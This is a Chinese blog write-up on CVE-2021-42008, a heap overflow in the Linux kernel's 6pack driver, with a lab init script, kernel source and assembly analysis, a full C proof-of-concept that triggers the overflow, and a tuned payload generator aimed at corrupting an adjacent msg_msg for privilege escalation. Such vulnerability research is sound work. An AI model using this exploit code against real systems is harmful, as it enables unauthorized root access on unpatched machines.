[漏洞分析] CVE-2021-42008 6pack协议堆溢出内核提权

27 篇文章 5 订阅
17 篇文章 11 订阅
本文详细介绍了Linux内核6pack协议中的CVE-2021-42008漏洞,包括漏洞环境搭建、原理、发生点、PoC及GCC优化后的利用分析。该漏洞允许具有cap_net_raw和cap_net_admin权限的攻击者实现本地提权。通过精心构造的PoC,可以触发堆溢出并利用‘胜利方程式’进行进一步的漏洞利用。
摘要由CSDN通过智能技术生成

CVE-2021-42008 6pack协议

漏洞简介

漏洞编号: CVE-2021-42008

漏洞产品: linux kernel - 6pack

影响版本: linux kernel 2 ~ linux kernel 5.13.12

漏洞危害: 在拥有cap_net_raw,cap_net_admin cap权限的情况下可以本地提权

源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

环境搭建

编译ubuntu deb方法即可,参考:https://blog.csdn.net/Breeze_CAT/article/details/123787636?spm=1001.2014.3001.5502

需要配置的编译选项:

CONFIG_6PACK=y 
CONFIG_AX25=y
CONFIG_E1000=y
CONFIG_E1000E=y

init脚本,需要配置网卡ip,需要cap 权限的话,建议root 调试:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
# kcov
mount -t debugfs none /sys/kernel/debug
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

chmod 777 /dev/ptmx

ifconfig lo 127.0.0.1
route add -net 127.0.0.0 netmask 255.255.255.0 lo
ifconfig eth0 192.168.21.0
route add -net 192.168.21.0 netmask 255.255.255.0 eth0
setsid /bin/cttyhack setuidgid 0 /bin/sh #root 调试无需配置cap,导入deb包啥的

echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

漏洞原理

关于6pack 的初始化和相关代码 bsauce 大佬分析的很明白了,这里不详细分析了,移步:https://bsauce.github.io/2021/12/09/CVE-2021-42008/

漏洞发生点

直接说几个重点,先看越界写处:

linux\drivers\net\hamradio\6pack.c : decode_data

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
	unsigned char *buf;

	if (sp->rx_count != 3) {//先将三个字节存放在sp->raw_buf 中
		sp->raw_buf[sp->rx_count++] = inbyte;

		return;
	}

	buf = sp->raw_buf;//然后对这三个字节进行解码处理,存放在sp->cooked_buf 中
	sp->cooked_buf[sp->rx_count_cooked++] =
		buf[0] | ((buf[1] << 2) & 0xc0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
	sp->cooked_buf[sp->rx_count_cooked++] =
		(buf[2] & 0x03) | (inbyte << 2);
	sp->rx_count = 0;//sp->raw_buf 计数器清零
}

decode_data函数会在sixpack_decode 中调用,只要用户传入的解码字符串还没有解码完毕,就会循环调用:

linux\drivers\net\hamradio\6pack.c : sixpack_decode

static void
sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
	unsigned char inbyte;
	int count1;

	for (count1 = 0; count1 < count; count1++) {
		inbyte = pre_rbuff[count1];
		if (inbyte == SIXP_FOUND_TNC) {
			tnc_set_sync_state(sp, TNC_IN_SYNC);
			del_timer(&sp->resync_t);
		}
		if ((inbyte & SIXP_PRIO_CMD_MASK) != 0)
			decode_prio_command(sp, inbyte);
		else if ((inbyte & SIXP_STD_CMD_MASK) != 0)
			decode_std_command(sp, inbyte);
		else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
			decode_data(sp, inbyte);
	}
}

在这两个函数之中并没有任何对sp->cooked_buf 的边界检查,也就是说如果用户传入的足够长,就会造成缓冲区溢出。查看被溢出结构体struct sixpack:

struct sixpack {
	/* Various fields. */
	struct tty_struct	*tty;		/* ptr to TTY structure	*/
	struct net_device	*dev;		/* easy for intr handling  */

	/* These are pointers to the malloc()ed frame buffers. */
	unsigned char		*rbuff;		/* receiver buffer	*/
	int			rcount;         /* received chars counter  */
	unsigned char		*xbuff;		/* transmitter buffer	*/
	unsigned char		*xhead;         /* next byte to XMIT */
	int			xleft;          /* bytes left in XMIT queue  */

	unsigned char		raw_buf[4]; //三个字节暂存区域
	unsigned char		cooked_buf[400];//被溢出缓冲区

	unsigned int		rx_count; //暂存区raw_buf 下标
	unsigned int		rx_count_cooked;//cooked_buf 下标

	··· ···
};

根据结构体我们发现,缓冲区的下标就在缓冲区之后,如果溢出就要考虑修改了下标的问题,我们一会讨论。先看一下这个结构体的堆分配大小,在sixpack_open -> alloc_netdev_mqs 中分配:

linux\drivers\net\hamradio\6pack.c : sixpack_open

static int sixpack_open(struct tty_struct *tty)
{
	··· ···

	dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
			   sp_setup);
    ··· ···
}

linux\net\core\dev.c : alloc_netdev_mqs

struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
		unsigned char name_assign_type,
		void (*setup)(struct net_device *),
		unsigned int txqs, unsigned int rxqs)
{
    ··· ···
	alloc_size = sizeof(struct net_device);
	if (sizeof_priv) {
		/* ensure 32-byte alignment of private area */
		alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
		alloc_size += sizeof_priv;
	}
	/* ensure 32-byte alignment of whole construct */
	alloc_size += NETDEV_ALIGN - 1;

	p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
	if (!p)
		return NULL;
    ··· ···
}

根据如上代码可以看出,实际结构体所在堆是分配了net_device 结构体和 sixpack 结构体,sixpack属于net_device 的私有数据,总大小是sizeof(struct net_device)+sizeof(struct sixpack) 属于kmalloc-4k,也就是1页大小,kmalloc-4k的溢出也是很常见了。

poc

直接使用如下poc 可以触发越界写:

#include<stdio.h>
#include <sys/ioctl.h>
#define N_6PACK 7

char buff[4096]  = {0};
char *payload;
int writeLen;

int open_ptmx(void)
{
    int ptmx;
    ptmx = getpt();

    if (ptmx < 0)
    {
        perror("[X] open_ptmx()");
        exit(1);
    }

    grantpt(ptmx);
    unlockpt(ptmx);

    return ptmx;
}

int open_pts(int fd)
{
    int pts;
    pts = open(ptsname(fd), 0, 0);

    if (pts < 0)
    {
        perror("[X] open_pts()");
        exit(1);
    }

    return pts;
}

void set_line_discipline(int fd, int ldisc)
{
    if (ioctl(fd, TIOCSETD, &ldisc) < 0)
    {
        perror("[X] ioctl() TIOCSETD");
        exit(1);
    }
}

int init_sixpack()
{
    int ptmx, pts;

    ptmx = open_ptmx();
    pts = open_pts(ptmx);

    set_line_discipline(pts, N_6PACK);

    return ptmx;
}

char *sixpack_encode(char *src, int plen)
{
    char *dest = (char *)calloc(1, 0x3000);
    int raw_count = 2;

    for (int count = 0; count <= plen; count++)
    {
        if ((count % 3) == 0)
        {
            dest[raw_count++] = (src[count] & 0x3f);
            dest[raw_count] = ((src[count] >> 2) & 0x30);
        }
        else if ((count % 3) == 1)
        {
            dest[raw_count++] |= (src[count] & 0x0f);
            dest[raw_count] =	((src[count] >> 2) & 0x3c);
        }
        else
        {
            dest[raw_count++] |= (src[count] & 0x03);
            dest[raw_count++] = (src[count] >> 2);
        }
    }
    writeLen=raw_count;
    return dest;
}

char *generate_payload(size_t target)
{
    char *encoded;
    memset(buff, 0x41, 4096);

    if (target)
    {
        for (int i = 0; i < sizeof(size_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    encoded = sixpack_encode(buff, 4096);

    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

void main()
{
    int ptmx = init_sixpack();
    payload = generate_payload(0);
    write(ptmx, payload, writeLen);
}

GCC优化

根据上面溢出部分代码分析,可以得知,每次调用三次将缓存raw_buf 填满之后,会写入cooked_buf。一次写入三个字节,我们会发现一个问题,由于控制向cooked_buf 中写入位置的下标rx_count_cooked 是在cooked_buf 的后面,一旦溢出覆盖到rx_count_cooked 之后,下次就可以跳到我们修改的下标位置开始写,这个特点有好有坏,好处是我们可以控制溢出位置,坏处要先看一段GCC优化之后的汇编(copy from bsauce博客):

static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
    unsigned char *buf;

        [...]

    buf = sp->raw_buf;
    sp->cooked_buf[sp->rx_count_cooked++] =
        buf[0] | ((buf[1] << 2) & 0xc0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
    sp->cooked_buf[sp->rx_count_cooked++] =
        (buf[2] & 0x03) | (inbyte << 2);
    sp->rx_count = 0;
}

decode_data + 00:        nop    DWORD PTR [rax+rax*1+0x0]
decode_data + 05:        movzx  r8d,BYTE PTR [rdi+0x35]     // r8d = sp->raw_buf[1]
decode_data + 10: [1]    mov    eax,DWORD PTR [rdi+0x1cc]   // eax = sp->rx_count_cooked
decode_data + 16:        shl    esi,0x2
decode_data + 19:        lea    edx,[r8*4+0x0]
decode_data + 27: [2]    mov    rcx,rax                     // rcx = sp->rx_count_cooked
decode_data + 30:        lea    r9d,[rax+0x1]               // r9d = sp->rx_count_cooked + 1
decode_data + 34:        and    r8d,0xf
decode_data + 38:        and    edx,0xffffffc0
decode_data + 41:        or     dl,BYTE PTR [rdi+0x34]      // dl or sp->raw_buf[0]
decode_data + 44: [3]    mov    BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48:        movzx  edx,BYTE PTR [rdi+0x36]     // eax = sp->raw_buf[2]
decode_data + 52:        lea    eax,[rdx*4+0x0]
decode_data + 59:        and    edx,0x3
decode_data + 62:        and    eax,0xfffffff0
decode_data + 65:        or     esi,edx
decode_data + 67:        or     eax,r8d
decode_data + 70: [4]    mov    BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75:        lea    eax,[rcx+0x3]               // eax = sp->rx_count_cooked + 3
decode_data + 78: [5]    mov    DWORD PTR [rdi+0x1cc],eax   // sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84:        lea    eax,[rcx+0x2]               // eax = sp->rx_count_cooked + 2
decode_data + 87: [6]    mov    BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92:        mov    DWORD PTR [rdi+0x1c8],0x0   // sp->rx_count = 0
decode_data + 102:       ret    

大概意思就是,正常的流程应该是:

  1. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  2. sp->rx_count_cooked 加一
  3. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  4. sp->rx_count_cooked 加一
  5. 向sp->cooked_buf[sp->rx_count_cooked] 写入一个字节
  6. sp->rx_count_cooked 加一

一旦sp->rx_count_cooked 被溢出覆盖案例说下面的写将直接被我们控制。但实际上GCC优化之后,变成了

  1. tmp = sp->rx_count_cooked
  2. 向sp->cooked_buf[tmp] 写入一个字节
  3. 向sp->cooked_buf[tmp+1] 写入一个字节
  4. sp->rx_count_cooked=tmp+3
  5. 向sp->cooked_buf[tmp+2] 写入一个字节

也就是说,如果我们在溢出的前两个字节修改了sp->rx_count_cooked 的话算是无效修改,因为在拷贝完前两个字节之后,会将sp->rx_count_cooked 重置为它+3 的值,我们只能在第三个字节修改到sp->rx_count_cooked 才可以的一个字节,而由于sp->rx_count_cooked 和cooked_buf 的偏移是固定的,第一次第三个字节只能修改到sp->rx_count_cooked 的最低位。最低位修改对我们帮助并不大,就算改到最大0xff,总sp->rx_count_cooked 也就是0x1ff,甚至跳不出sixpack 结构体。

所以理想状态就是可以让第三个字节正好覆盖sp->rx_count_cooked 的第二字节或更高,这样可以越界跳的更远一些,跳出sixpack 结构体避免崩溃。这就需要我们先将sp->rx_count_cooked 改的小一些,然后回到之前重新修改让第三位可以正好覆盖到sp->rx_count_cooked 的高位:

请添加图片描述

第一次覆盖到sp->rx_count_cooked为红色,第二次为蓝色。

漏洞利用

这里采用"堆溢出漏洞的胜利方程式"的利用方法,不对原本方法进行分析。

计算越界偏移

根据胜利方程式的前提条件,我们假定将4k大小的msg_msg申请到sixpack 结构体的后面,想要溢出覆盖msg_msg->m_listr_next 低两字节为0x00。之前已经提到,可以通过覆盖sp->rx_count_cooked 来跳过sixpack 结构体进行后续溢出操作,但由于每次溢出都是3的倍数,我们指向该低两字节的msg_msg->m_list_next,那么就需要计算从何处开始写才能正好覆盖2字节,难点就是,根据上图我们第二次越界写(蓝色)覆盖sp->rx_count_cooked 的时候也是只能覆盖一位,那么低位就是固定的,所以我们必须以0x100为单位往后跳。当然这里我已经计算完毕,直接公布答案就行(ubuntu 内核下):

uint8_t *generate_payload(uint64_t target)
{
    uint8_t *encoded;
    memset(buff, 0, PAGE_SIZE);

    buff[0x194] = 0x90;
    buff[0x19a] = 0x05;
    memset(&(buff[0x19b]), 0, 0xb4);
    if (target)
    {
        for (int i = 0; i < sizeof(uint64_t); i++)
            buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
    }

    //encoded = sixpack_encode(buff,0x19b+243+0x200-1+2);//orgkernel
    encoded = sixpack_encode(buff,0x19b+0xb4);
    // sp->status = 0x18 (to reach decode_data())
    encoded[0] = 0x88;
    encoded[1] = 0x98;

    return encoded;
}

这样可以正好覆盖msg_msg->m_listr_next 低两字节为0x00。

直接胜利方程式

接下里的步骤就直接套胜利方程式即可,详见"内核堆漏洞的胜利方程式"。

参考

https://bsauce.github.io/2021/12/09/CVE-2021-42008/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值